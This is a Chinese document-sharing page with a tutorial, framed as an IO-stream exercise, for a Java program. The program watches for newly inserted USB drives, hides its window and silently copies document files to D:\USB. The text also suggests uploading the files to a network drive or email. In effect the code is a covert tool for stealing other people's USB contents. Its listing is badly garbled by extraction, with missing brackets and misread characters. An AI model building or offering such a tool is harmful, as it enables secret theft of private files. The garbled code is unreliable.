


下載本文檔
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、程序的功能是,檢查U盤,并將U盤的內(nèi)容自動(dòng)拷貝到系統(tǒng)的某個(gè)盤符中。分享給大家,就當(dāng)作是練習(xí)io流的小練習(xí)。這個(gè)小程序的實(shí)現(xiàn)方法如下:1、程序運(yùn)行后隔一斷時(shí)間就檢查系統(tǒng)的盤符有沒有增加,通過File.listRoots()可獲取系統(tǒng)存在的盤符。2、如果盤符增加了,遍歷這個(gè)新增加的盤符,用字節(jié)流拷貝文件到指定的路徑。需要注意的是,由于U盤的內(nèi)容可能很大,所以拷貝的時(shí)候最好指定要拷貝的文件類型,女口ppt,doc,txt等等。下面是這個(gè)小程序的相關(guān)代碼:在CopyThread類中可以指定要復(fù)制的文件類型,大家在fileTypes數(shù)組中加入相應(yīng)的文件后綴名即可。如果要復(fù)制所有文件,將其設(shè)為null就行
2、了。在CopyFileToSysRoot類中可以指定存儲(chǔ)的路徑,當(dāng)然,如果愿意的話,你可以將文件上傳到網(wǎng)盤,郵箱等等一、USBMain類,程序入口:importjava.awt.event.ActionEvent;importjava.awt.event.ActionListener;importjavax.swing.JButton;importjavax.swing.JFrame;publicclassUSBMainpublicstaticvoidmain(Stringargs)USBMainu=newUSBMain();u.launchFrame();開啟盤符檢查線程newCheckRo
3、otThread().start();/界面privatevoidlaunchFrame()finalJFrameframe=newJFrame();frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);frame.setLocation(450,250);JButtonhide=newJButton(”點(diǎn)擊隱藏窗口”);/點(diǎn)擊按鈕后隱藏窗口事件監(jiān)聽hide.addActionListener(newActionListener()publicvoidactionPerformed(ActionEvente)frame.setVisible(
4、false););frame.add(hide);frame.pack();frame.setVisible(true);CheckRootThread類,此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝。importjava.io.File;/此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝publicclassCheckRootThreadextendsThread/獲取系統(tǒng)盤符privateFilesysRoot=File.listRoots();publicvoidrun()FilecurrentRoot=null;while(true)/當(dāng)前的系統(tǒng)盤符currentRoot=File
5、.listRoots();if(currentRoot.length>sysRoot.length)for(inti=currentRoot.length-1;i>=0;i-)booleanisNewRoot=true;for(intj=sysRoot.length-1;j>=0;j-)/當(dāng)兩者盤符不同時(shí),觸發(fā)新盤符文件的拷貝if(currentRooti.equals(sysRootj)isNewRoot=false;if(isNewRoot)newCopyThread(currentRooti).start();sysRoot=File.listR
6、oots();每5秒時(shí)間檢查一次系統(tǒng)盤符tryThread.sleep(5000);catch(InterruptedExceptione)e.printStackTrace();三、CopyThread類,用于文件遍歷并選擇指定文件格式進(jìn)行復(fù)制:importjava.io.File;/該類用于對(duì)新盤符文件的復(fù)制publicclassCopyThreadextendsThread/設(shè)置要復(fù)制的文件類型,如果要復(fù)制所有格式的文件,將fileTypes設(shè)為null即可privatestaticStringfileTypes="ppt","doc","
7、;txt","wps"/privatestaticStringfileTypes=null;Filefile=null;publicCopyThread(Filefile)this.file=file;publicvoidrun()listUsbFiles(file);/遍歷盤符文件,并匹配文件復(fù)制privatevoidlistUsbFiles(Fileufile)Filefiles=ufile.listFiles();for(Filef:files)if(f.isDirectory()listUsbFiles(f);elseif(fileTypeMatch(f)
8、newCopyFileToSysRoot(f).doCopy();/匹配要復(fù)制的文件類型publicbooleanfileTypeMatch(Filef)/fileTypes為null時(shí),則全部復(fù)制if(fileTypes=nuII)returntrue;elsefor(Stringtype:fileTypes)if(f.getName().endsWith("."+type)returntrue;returnfalse;四、CopyFileToSysRoot類,復(fù)制文件的IO流實(shí)現(xiàn):importjava.io.BufferedInputStream;importjava.
9、io.BufferedOutputStream;importjava.io.File;importjava.io.FileInputStream;importjava.io.FileNotFoundException;importjava.io.FileOutputStream;importjava.io.IOException;文件復(fù)制IOpublicclassCopyFileToSysRoot/復(fù)制文件保存路徑privatestaticfinalStringPATH="D:USB"privateFilefile=nuII;publicCopyFileToSysRoot(
10、Filefile)this.file=file;/復(fù)制文件publicvoiddoCopy()BufferedInputStreambis=nuII;BufferedOutputStreambos=null;tryII創(chuàng)建目錄FilefPath=newFile(getFileParent(file);if(!fPath.exists()fPath.mkdirs();bis=newBufferedInputStream(newFilelnputStream(file);bos=newBufferedOutputStream(newFileOutputStream(newFile(fPath,fi
11、le.getName();bytebuf=newbyte1024;intlen=0;while(len=bis.read(buf)!=-1)bos.write(buf,0,len);bos.flush();catch(FileNotFoundExceptione)e.printStackTrace();catch(lOExceptione)e.printStackTrace();finallytryif(bis!=null)bis.close();catch(lOExceptione)e.printStackTrace();tryif(bos!=null)bos.close();catch(lOExceptione)e.printStackTrace();II根據(jù)盤符中文件的路徑,
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 法院執(zhí)行措施管理制度
- 測繪儀器存放管理制度
- 測繪成果技術(shù)管理制度
- 測量放線人員管理制度
- 浙江烏鎮(zhèn)商戶管理制度
- 海關(guān)實(shí)行體質(zhì)管理制度
- 海鮮批發(fā)訂單管理制度
- 涂裝油漆顏色管理制度
- 消毒液經(jīng)銷部管理制度
- 消防伙食衛(wèi)生管理制度
- YS/T 118.16-2012重有色冶金爐窯熱平衡測定與計(jì)算方法(銅閃速爐)
- GB/T 23936-2018工業(yè)氟硅酸鈉
- GB/T 11213.2-2007化纖用氫氧化鈉氯化鈉含量的測定分光光度法
- 事故隱患通報(bào)制度(5篇)
- Unit3Reading課件-高中英語牛津譯林版(2020)必修第三冊(cè)
- 5-1貫入法砌筑砂漿砂漿抗壓強(qiáng)度檢測方案
- 錨桿加固施工方案(通用版)
- 地源熱泵埋管冬夏季換熱平衡計(jì)算
- 甲骨文?!虒W(xué)課件
- 規(guī)章制度和操作規(guī)程的管理制度范本
- 形式發(fā)票格式2 INVOICE
評(píng)論
0/150
提交評(píng)論